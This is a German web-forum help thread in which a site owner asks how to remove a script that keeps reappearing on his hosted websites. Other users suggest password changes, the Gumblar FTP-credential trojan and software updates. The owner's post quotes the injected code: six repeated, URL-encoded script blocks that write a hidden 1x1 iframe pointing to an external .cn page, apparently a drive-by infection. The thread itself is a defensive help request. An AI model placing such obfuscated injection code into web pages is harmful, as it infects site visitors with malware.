Fremdes Script lädt sich immer wieder hoch

[tiroler]

Hi- trotz Umstellung der Zugriffsrechte der Dateien auf 644 lädt sich innerhalb weniger Minuten immer wieder ein fremdes Script auf mehrere meiner Webseiten !




auf manchen Seiten so

<bb1><!---2089844678---><bb2>

und auf manchen so

<script>var fr=unescape('%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%6f%70%73%6c%2e%63%6e%2f%66%6f%72%75%6d%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e');document.write(fr);</script><script>var fr=unescape('%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%6f%70%73%6c%2e%63%6e%2f%66%6f%72%75%6d%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e');document.write(fr);</script><script>var fr=unescape('%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%6f%70%73%6c%2e%63%6e%2f%66%6f%72%75%6d%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e');document.write(fr);</script><script>var fr=unescape('%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%6f%70%73%6c%2e%63%6e%2f%66%6f%72%75%6d%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e');document.write(fr);</script><script>var fr=unescape('%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%6f%70%73%6c%2e%63%6e%2f%66%6f%72%75%6d%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e');document.write(fr);</script><script>var fr=unescape('%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%6f%70%73%6c%2e%63%6e%2f%66%6f%72%75%6d%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e');document.write(fr);</script></body>

wie bekomme ich den los ?

 

[Schnuffy12]

AW: Fremdes Script lädt sich immer wieder hoch

Zuerst solltest du von einem anderen Rechner aus alle Passwörter ändern. z.B. FTP-Zugang, Admin-Passwörter von CMS, Forum, usw. Je nachdem, was es alles auf deinen Webseiten gibt.

Dann gilt es herauszufinden, wie das Script da drauf kommt. Spontan fällt mir da ein:

• du hast dir einen Trojaner/Keylogger eingefangen, der deine Zugangsdaten ermittelt hat und nun z.B. per FTP die Dateien manipuliert.
• die verwendete Serversoftware weist Sicherheitslücken auf und die Änderung erfolgt darüber

 

[splasch]

AW: Fremdes Script lädt sich immer wieder hoch

Schaltest du Werbung auf deiner Seite? Oft kommen die auch über die Server der Werbung einblendungen rein.

Der Virus erscheint dann aber nur bei der Werbeeinblendung.

Mfg Splasch

 

[tiroler]

AW: Fremdes Script lädt sich immer wieder hoch

trotz FTP- Zugangsdatenänderung und komplettreinigung PC lädt dieses script wieder auf mehreren meiner bei Strato gehosteten Seiten.

Ich werd noch irre.

 

[feelx75]

AW: Fremdes Script lädt sich immer wieder hoch

Hi

Auch hier tippe ich mal wieder auf "Gumblar" - ein Trojaner, den du vermutlich über eine Lücke in Adobe Acrobat (Reader) oder Adobe Flash Player eingefangen hast.
"Gumblar" trackt deine FTP-Logins, wobei ich nicht sicher bin, ob es realtime passiert, oder ob es die Login-/Passwort-Kombination aus config-files ausliest.
Ich würde mal folgendes machen:
1.) Acrobat/-Reader und Flashplayer updaten
2.) System scannen
3.) FTP - Zugangsdaten ändern
4.) Wenn möglich ftp over TLS verwenden, dann wird der Login nicht unverschlüsselt übertragen.

PS: Das Script, welches eingebunden wird, verweist auf eine externe Website und versucht Besucher deiner Website mit dem Trojaner zu infizieren.